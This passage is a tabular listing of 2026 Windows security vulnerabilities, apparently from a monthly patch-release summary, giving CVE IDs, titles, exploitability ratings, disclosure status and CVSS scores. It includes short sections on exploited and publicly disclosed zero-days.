CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Exploitation More Likely	No	8.4
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Exploitation Less Likely	No	4.5
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2

CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Exploitation Unlikely	No	3.3
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Exploitation Less Likely	No	8.3
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.5
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	N/A	No	7.8
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Exploitation Unlikely	No	5.1
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Zero-Day Vulnerabilities: Known Exploited

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Detected	No	5.3

Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1

Critical RCEs

